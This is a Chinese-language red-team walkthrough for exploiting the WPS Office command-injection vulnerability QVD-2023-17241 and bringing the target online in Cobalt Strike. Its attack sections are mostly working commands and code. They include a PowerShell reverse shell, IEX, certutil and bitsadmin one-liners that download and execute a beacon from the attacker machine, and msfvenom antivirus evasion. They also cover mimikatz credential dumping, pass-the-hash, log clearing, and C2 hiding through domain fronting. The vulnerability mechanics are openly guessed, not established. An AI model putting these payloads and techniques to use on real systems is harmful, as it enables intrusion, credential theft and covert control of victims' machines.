1. 项目概述:一次针对WPS Office高危漏洞的深度复现与利用
最近在整理历史漏洞案例库时,我又重新审视了去年那个在安全圈内引起不小波澜的WPS Office远程代码执行漏洞,编号QVD-2023-17241。这个漏洞的特别之处在于,它并非一个需要复杂交互的客户端漏洞,而是存在于WPS Office的某个网络服务组件中,攻击者可以构造特定的网络请求,在未授权的情况下直接让目标主机执行任意代码。对于渗透测试人员和红队成员来说,掌握这类漏洞的复现与武器化流程,是构建完整攻击链的关键一环。今天,我就以一个实战演练的视角,带大家从头到尾走一遍这个漏洞的复现过程,并最终实现上线Cobalt Strike(CS)的目标。整个过程不仅涉及漏洞原理的简单拆解,更重要的是环境搭建、利用脚本调试、免杀载荷生成以及横向移动的初步思路,这些都是实战中你会真实遇到的环节。
2. 漏洞背景与核心原理拆解
2.1 QVD-2023-17241漏洞浅析
首先需要明确,QVD-2023-17241是一个由国内安全研究员发现并提交的漏洞。根据公开的有限信息和分析报告,该漏洞的根源在于WPS Office套件中某个用于处理特定类型文档或提供在线服务的组件。这个组件在解析来自网络的输入数据时,存在逻辑缺陷,导致攻击者能够注入并执行操作系统命令。
它不是传统的缓冲区溢出,更像是一种由不当的参数处理或命令拼接导致的“命令注入”型漏洞。举个例子,想象一下某个服务端功能原本的设计是接收一个文件名,然后调用系统命令type [filename]来显示文件内容。如果程序没有对用户输入的filename参数进行严格的过滤和校验,攻击者就可以输入test.txt & whoami这样的字符串。最终执行的命令就变成了type test.txt & whoami,&符号使得系统在执行完type命令后,继续执行了whoami命令,这就实现了命令注入。
QVD-2023-17241很可能就是类似的原理。WPS的某个服务(可能是文档转换服务、预览服务或协作服务)在接收外部传入的某些参数(如文档路径、模板名称、脚本标识等)时,直接将其拼接到了系统命令或脚本调用中,且没有进行有效的转义或白名单校验。这就为远程代码执行打开了大门。
2.2 影响范围与复现环境准备
该漏洞影响特定版本的WPS Office。根据历史信息,主要影响WPS Office 2019个人版/专业版的某些早期构建版本,以及可能存在问题的WPS Office Linux版本。在复现前,务必在隔离的虚拟机环境中进行,我通常使用VMware或VirtualBox搭建以下环境:
靶机环境(Windows 10/11):
- 操作系统:Windows 10 Pro 64位(版本号如21H2)。
- 软件:安装受影响的WPS Office版本。你需要寻找历史版本的安装包,例如WPS Office 2019 (11.1.0.11365) 或类似的早期版本。切勿在联网的生产或日常机器上安装。
- 网络:配置为NAT或仅主机模式,确保能与攻击机通信。
- 防护:为了方便复现,建议临时关闭Windows Defender实时保护(复现后请立即恢复)。
攻击机环境(Kali Linux 2023+):
- 操作系统:Kali Linux Rolling Release。
- 必要工具:
Python3、pip、git、Metasploit Framework(可选,用于生成载荷)、Cobalt Strike(商业工具,需自备)或Sliver(开源C2替代品,可用于学习)。 - 网络:与靶机在同一虚拟网络段。
注意:漏洞复现的所有操作必须在你自己拥有完全控制权的实验室环境(如本地虚拟机)中进行。任何对非授权系统的测试都是非法且不道德的。
3. 漏洞复现详细步骤与POC调试
3.1 信息收集与漏洞点定位
复现的第一步是确认靶机上WPS Office的服务状态。由于公开的漏洞细节(EXP)往往不会给出具体的服务端口或URL路径,我们需要一些侦察手段。
端口扫描:在攻击机上,使用
nmap对靶机进行全端口扫描。nmap -sS -sV -p- 192.168.1.10 # 假设靶机IP是192.168.1.10重点关注那些由WPS Office开启的非标准端口,例如6xxx, 7xxx范围的端口,或者查看是否有
kingsoft、wps相关的服务标识。进程与服务分析:在靶机上,打开任务管理器,切换到“详细信息”或“服务”标签页,查看所有
wps、kingsoft、office相关的进程。记录下它们的名称和PID。使用netstat -ano | findstr PID命令查看对应进程监听的端口。这一步是找到漏洞入口的关键。搜索公开POC:在GitHub、Exploit-DB等平台搜索“QVD-2023-17241”或“WPS Office RCE”。你可能会找到一些Python写的概念验证脚本。这里我必须强调,从互联网下载的任何EXP脚本都必须先进行代码审计,在隔离环境中运行,防止其中夹带后门。
3.2 利用脚本分析与修改
假设我们找到了一个名为wps_rce_qvd_2023_17241.py的POC脚本。它的核心逻辑通常如下:
import requests import sys def exploit(target_ip, target_port, command): url = f"http://{target_ip}:{target_port}/some/vulnerable/endpoint" # 漏洞参数可能叫做 `file`, `template`, `script` 等 params = { 'vuln_param': f'legitimate_value;{command}' # 使用分号、管道符、反引号等进行命令注入 } # 或者可能是POST请求,数据在body中 # data = {'vuln_param': f'legitimate_value&{command}'} try: response = requests.get(url, params=params, timeout=5) # 有些漏洞执行命令没有回显,需要通过DNS、HTTP请求外带数据,或者直接反弹shell print(f"[+] 请求已发送。状态码: {response.status_code}") # 如果有回显,可能藏在响应体的某个角落 # print(response.text) except Exception as e: print(f"[-] 请求失败: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"用法: {sys.argv[0]} <目标IP> <目标端口> <要执行的命令>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])关键修改点:
- 目标URL与参数:你需要根据信息收集的结果,将脚本中的
url和vuln_param替换成实际存在漏洞的接口路径和参数名。这可能需要结合模糊测试(fuzzing)或分析WPS的更新日志、补丁对比来推测。 - 命令注入语法:Windows和Linux的命令连接符不同。Windows常用
&、&&、|、||,而Linux常用;、&、|、&&、||以及反引号`、$()。你需要根据靶机操作系统和上下文猜测正确的注入方式。例如,在Windows中,可能构造为正常参数 & whoami。 - 回显与外带:很多RCE漏洞没有直接回显。我们的首要目标不是执行
whoami,而是获取一个反向Shell。因此,POC脚本中的command变量应该替换为能让我们控制靶机的命令。
3.3 生成反向Shell载荷
我们使用最经典的反向Shell方式。在攻击机上监听,并让靶机主动连接我们。
攻击机监听准备:
- 使用
netcat进行简单监听(适合临时测试):nc -lvnp 4444 - 使用
MSF的multi/handler模块(功能更强大,支持多种载荷稳定化):msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 # 攻击机IP set LPORT 4444 exploit
- 使用
构造靶机执行命令: 我们需要一个能在靶机(Windows)上执行的命令,来连接我们的监听器。这里以
powershell为例,因为它现代且强大。# 一个经过简单编码的PowerShell反向Shell命令 powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"这个命令很长,直接作为参数传递可能会被截断或转义出错。因此,我们需要对其进行编码和缩短。
命令编码与缩短技巧:
- Base64编码:PowerShell支持
-EncodedCommand参数接收Base64编码的命令。
会得到一个很长的Base64字符串。然后执行命令变为:# 在攻击机(Kali)上,先将命令字符串进行Base64编码 echo -n "上面那长串PowerShell命令" | iconv -t utf-16le | base64 -w 0
这大大缩短了命令长度,且避免了特殊字符问题。powershell -nop -enc <生成的Base64字符串> - 远程下载执行:更优雅的方式是让靶机从我们的攻击机下载一个PowerShell脚本并执行。
- 在攻击机用Python启动一个简易HTTP服务:
python3 -m http.server 8080 - 将上面的PowerShell反向Shell代码保存为
shell.ps1,放在服务目录下。 - 构造漏洞利用命令为:
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.5:8080/shell.ps1')"
- 在攻击机用Python启动一个简易HTTP服务:
- Base64编码:PowerShell支持
4. 上线Cobalt Strike:载荷制作与会话获取
获取一个基本的反向Shell(如netcat或meterpreter)只是第一步。在真实的红队评估中,我们需要一个功能更全面、更隐蔽、更稳定的指挥控制(C2)平台,Cobalt Strike(CS)就是行业标杆。
4.1 生成CS Beacon载荷
在Cobalt Strike团队服务器上操作:
创建监听器:点击
Cobalt Strike->Listeners->Add。Payload: 选择windows/beacon_http/reverse_http(HTTP相对隐蔽)或reverse_https(加密,更推荐)。Name: 自定义,如http-local。HTTP Hosts: 填写你的团队服务器IP(公网IP或VPN内网IP)。HTTP Port (C2): 设置一个端口,如80或443(伪装成正常流量)。HTTP Host (Stager): 通常与HTTP Hosts一致。HTTP Port (Stager): Beacon会先回连这个端口获取完整的Payload,可以设置成另一个端口。
生成Payload:
- 点击
Attacks->Packages->Windows Executable (S)。 Listener: 选择刚才创建的http-local。Output: 选择Windows EXE,生成一个.exe文件,例如beacon.exe。- 关键步骤 - 免杀处理:直接生成的Beacon很容易被杀毒软件查杀。我们需要进行免杀(AV Evasion)。CS内置了
Artifact Kit和Resource Kit,但更常用的方法是使用外部工具如Veil-Evasion、Shellter或在线混淆平台。一个简单的思路是使用msfvenom编码,或者将shellcode注入到正常的白程序(如notepad.exe)中。这里以使用msfvenom简单编码为例(效果有限,实战需更复杂手段):
更有效的方法是通过# 首先从CS导出原始的shellcode (Raw格式) # 在CS中, Attacks -> Packages -> Windows Executable (S) 选择 `Raw` 格式输出,得到 beacon.bin # 然后使用msfvenom进行编码和嵌入模板 msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.5 LPORT=443 -f exe -e x86/shikata_ga_nai -i 5 -x /usr/share/windows-resources/binaries/putty.exe -k -o beacon_embedded.exe # 但注意,这是生成meterpreter,不是Beacon。更推荐使用CS的`Artifact Kit`自定义编译。Cobalt Strike的Aggressor Script脚本(如ArtifactKit)或使用Donut工具将shellcode生成位置无关(PIC)代码,再通过其他方式加载。
- 点击
4.2 利用漏洞投递并执行Beacon
现在我们有了一个相对免杀的Beacon可执行文件(beacon.exe)。我们需要通过QVD-2023-17241漏洞,让靶机下载并执行它。
文件托管:将
beacon.exe放在攻击机的Web服务器上(例如,继续使用刚才的Python HTTP服务器,端口8080)。构造漏洞利用命令:我们需要一个能下载文件并执行的命令。在Windows上,有多种方式:
- PowerShell (最灵活):
powershell -nop -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.5:8080/beacon.exe', 'C:\\Users\\Public\\beacon.exe'); Start-Process 'C:\\Users\\Public\\beacon.exe'" - Certutil (Windows内置):
certutil -urlcache -split -f http://192.168.1.5:8080/beacon.exe C:\Users\Public\beacon.exe && C:\Users\Public\beacon.exe - Bitsadmin (Windows内置):
bitsadmin /transfer myjob /download /priority high http://192.168.1.5:8080/beacon.exe C:\Users\Public\beacon.exe && C:\Users\Public\beacon.exe
- PowerShell (最灵活):
整合到POC脚本:修改我们之前的POC脚本,将
command变量替换为上述任意一条下载执行命令。注意,由于漏洞注入点可能对命令长度和字符有限制,certutil和bitsadmin的命令通常更短。如果遇到问题,可以尝试将命令写入一个批处理文件(.bat)再远程下载执行该批处理。执行与上线:
python3 wps_rce_qvd_2023_17241.py 192.168.1.10 8081 "certutil -urlcache -split -f http://192.168.1.5:8080/beacon.exe C:\\Users\\Public\\beacon.exe && C:\\Users\\Public\\beacon.exe"如果漏洞利用成功,靶机将下载
beacon.exe并运行。稍等片刻,在Cobalt Strike的客户端界面上,你应该能看到一个新的主机上线(Beacon会话)。
5. 后期利用思路与痕迹清理
成功上线CS Beacon后,我们的复现目标基本达成。但一个完整的演练还包括后续动作。
5.1 初始权限提升与信息收集
通常通过漏洞获取的Shell可能权限不高(如NT AUTHORITY\NETWORK SERVICE或某个低权限用户)。在CS中,我们可以尝试提权。
- 本地提权模块:在Beacon会话上右键 ->
Access->Elevate,可以选择如ms14-058、ms16-032、ms18-8120等提权漏洞的利用模块。CS会尝试注入高权限进程。 - 信息收集:使用CS内置的命令进行快速信息收集,为横向移动做准备:
也可以使用CS的shell whoami /all net view net localgroup administrators ipconfig /all arp -aView->Targets自动收集信息。
5.2 横向移动尝试
如果当前机器在内网中,我们可以尝试横向移动。
- 凭证窃取:使用
mimikatz(CS内置)来抓取内存中的密码哈希和明文密码。mimikatz !lsadump::sam mimikatz !sekurlsa::logonpasswords - 哈希传递(Pass-the-Hash):如果抓取到其他用户的NTLM哈希,可以使用CS的
pth命令或Lateral Movement选项进行哈希传递攻击,访问网络共享或尝试连接其他主机。 - 端口扫描与服务发现:使用Beacon的
portscan命令对内网其他IP段进行扫描,寻找开放了常见服务(如445/SMB, 3389/RDP, 5985/WinRM)的主机。
5.3 痕迹清理
演练结束后,务必清理痕迹,恢复环境。
- 清理Beacon:在CS中,对会话使用
kill命令结束Beacon进程。 - 清理生成的文件:通过Beacon的
shell命令删除靶机上生成的恶意文件。
如果创建了其他临时文件或批处理脚本,一并删除。shell del C:\\Users\\Public\\beacon.exe - 清理日志:Windows事件日志可能记录了进程创建、网络连接等信息。可以使用
clearev命令(在meterpreter中)或手动通过wevtutil命令清理。但在真实环境中,大规模清理日志本身是一个可疑行为,需要权衡。 - 恢复靶机:最简单直接的方法是恢复虚拟机到漏洞复现前的快照状态。
6. 复现过程中的常见问题与排查
在复现这类漏洞时,你几乎一定会遇到各种问题。下面是我踩过的一些坑和解决办法。
6.1 漏洞利用不成功
- 症状:执行POC脚本后,没有收到反向Shell,或者靶机没有任何反应。
- 排查思路:
- 网络连通性:确保攻击机和靶机IP设置正确,且能互相ping通。检查防火墙是否拦截了相关端口(漏洞服务端口、反向Shell连接端口)。
- 服务状态:确认靶机上的WPS Office相关服务正在运行。尝试重启WPS服务或靶机。
- 命令注入语法:这是最常见的问题。尝试不同的命令连接符(
&,&&,|,;)。尝试用双引号、单引号包裹注入点。查看WPS服务可能调用的底层是cmd.exe还是powershell.exe,或者是其他脚本引擎。 - 命令回显:如果漏洞有回显,先尝试执行无害命令如
echo test123或whoami,看看响应中是否包含命令输出。如果没有回显,尝试让靶机向外发起一个网络连接来验证命令是否执行,例如ping -n 1 攻击机IP,同时在攻击机用tcpdump抓ICMP包。 - 杀软拦截:靶机的杀毒软件可能实时拦截了恶意命令的执行。尝试执行
calc(打开计算器)这样的无害命令测试,如果计算器能打开,说明命令执行成功,但后续的下载执行被拦截了。此时需要加强载荷的免杀性。
6.2 Beacon无法上线
- 症状:漏洞利用命令执行成功(如计算器弹出),但CS里没有主机上线。
- 排查思路:
- 监听器配置:反复检查CS监听器的IP、端口是否正确,HTTP Hosts是否填写了攻击机对靶机可见的IP(如果是内网,填内网IP;如果靶机是NAT网络,填攻击机物理机的IP可能不行)。
- Payload兼容性:检查生成的Beacon是32位(x86)还是64位(x64),是否与靶机系统架构匹配。可以尝试生成
windows/beacon_http/reverse_http(Staged)和windows/beacon_http/reverse_http(Stageless)两种看看。 - 网络出口:确保团队服务器(CS Server)的防火墙放行了监听端口。如果攻击机在公网,靶机在内网,需要确保内网靶机有通往公网的出口,并且没有出口防火墙拦截。
- 免杀失败:Payload被靶机上的下一代杀毒软件(NGAV)或EDR在内存中检测并杀死。尝试使用更高级的免杀技术,如远程线程注入到合法进程、Process Hollowing、或使用诸如
C#/VBA/JScript等脚本加载器来执行shellcode。
6.3 稳定性与隐蔽性问题
- 症状:Beacon上线后很快掉线,或者操作时响应缓慢。
- 排查与优化:
- 心跳与超时:在CS的监听器配置或Profile中,可以调整Beacon的心跳间隔(
sleep时间)和抖动(jitter)。增加睡眠时间(如30000毫秒)和抖动百分比(如30%)可以降低流量特征,但会牺牲交互性。 - 使用HTTPS监听器:
reverse_https比reverse_http流量是加密的,更有利于绕过网络层检测。 - 设置User-Agent:在Profile中修改默认的User-Agent,使其模仿正常的浏览器流量。
- 使用CDN或域前置:在公网实战中,将C2服务器隐藏在Cloudflare等CDN后面,或使用域前置(Domain Fronting)技术,可以更好地隐蔽团队服务器的真实IP。
- 心跳与超时:在CS的监听器配置或Profile中,可以调整Beacon的心跳间隔(
整个复现过程,从环境搭建到最终上线CS,是一个系统工程,考验的不仅仅是漏洞利用本身,更是对操作系统、网络、安全工具和对抗技术的综合理解。每一个环节都可能遇到障碍,耐心调试和层层排查是唯一的方法。通过这样一次完整的手动复现,你对漏洞利用链的理解会比单纯运行一个自动化工具深刻得多。记住,工具是辅助,思路才是核心。